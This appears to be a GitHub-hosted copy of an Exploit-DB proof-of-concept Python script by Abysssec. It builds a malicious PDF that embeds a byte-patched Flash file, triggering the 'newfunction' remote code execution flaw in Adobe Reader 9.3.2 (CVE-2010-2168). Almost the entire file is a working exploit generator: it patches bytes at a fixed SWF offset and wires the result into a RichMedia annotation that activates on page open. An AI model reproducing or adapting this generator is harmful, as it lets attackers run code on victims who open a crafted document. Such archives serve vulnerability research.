Repository navigation
Expand file tree
/
Copy path15086.py
More file actions
executable file
·158 lines (130 loc) · 5.43 KB
/
Copy path15086.py
File metadata and controls
executable file
·158 lines (130 loc) · 5.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-23-adobe-acrobat-and-reader-newfunction-remote-code-execution-vulnerability/
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/15086.zip (moaub-23-exploit.zip)
'''
'''
Title : Adobe Acrobat Reader and Flash 'newfunction' Remote Code Execution Vulnerability
Version : Adobe Reader 9.3.2
Analysis : http://www.abysssec.com
Vendor : http://www.adobe.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2168
MOAUB Number : MOAUB-06
'''
import sys
class PDF:
def __init__(self):
self.xrefs = []
self.eol = '\x0a'
self.content = ''
self.xrefs_offset = 0
def header(self):
self.content += '%PDF-1.6' + self.eol
def obj(self, obj_num, data,flag):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
if flag == 1:
self.content += self.eol + '<< ' + data + ' >>' + self.eol
else:
self.content += self.eol + data + self.eol
self.content += 'endobj' + self.eol
def obj_SWFStream(self, obj_num, data, stream):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
self.content += ' >>' + self.eol
self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
self.content += 'endobj' + self.eol
def obj_Stream(self, obj_num, data, stream):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
self.content += ' >>' + self.eol
self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
self.content += 'endobj' + self.eol
def ref(self, ref_num):
return '%d 0 R' % ref_num
def xref(self):
self.xrefs_offset = len(self.content)
self.content += 'xref' + self.eol
self.content += '0 %d' % (len(self.xrefs) + 1)
self.content += self.eol
self.content += '0000000000 65535 f' + self.eol
for i in self.xrefs:
self.content += '%010d 00000 n' % i
self.content += self.eol
def trailer(self):
self.content += 'trailer' + self.eol
self.content += '<< /Size %d' % (len(self.xrefs) + 1)
self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
self.content += 'startxref' + self.eol
self.content += '%d' % self.xrefs_offset
self.content += self.eol
self.content += '%%EOF'
def generate(self):
return self.content
class POC:
def getSWF(self):
try:
fdR = open('flash.swf', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:3673]
command = '\x40\xE8\xD4\xF1\xFF\x33' #newfunction
str2 = strTotal[3679:]
fdW= open('poc.swf', 'wb+')
finalStr = str1+command+str2
fdW.write(finalStr)
fdR.close()
return finalStr
except IOError:
print '[*] Error : An IO error has occurred'
def generate_pdf():
poc = POC()
swfFile = 'poc.swf'
pdf = PDF()
pdf.header()
pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
pdf.obj_Stream(4, '','')
pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1)
pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1)
pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1)
pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1)
pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1)
pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1)
pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',poc.getSWF() )
pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
pdf.obj_Stream(16, '<</Length 0 >> ','')
pdf.xref()
pdf.trailer()
return pdf.generate()
def main():
if len(sys.argv) != 2:
print 'Usage: python %s [output file name]' % sys.argv[0]
sys.exit(0)
file_name = sys.argv[1]
if not file_name.endswith('.pdf'):
file_name = file_name + '.pdf'
try:
fd = open(file_name, 'wb+')
fd.write(generate_pdf())
fd.close()
print '[-] PDF file generated and written to %s' % file_name
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()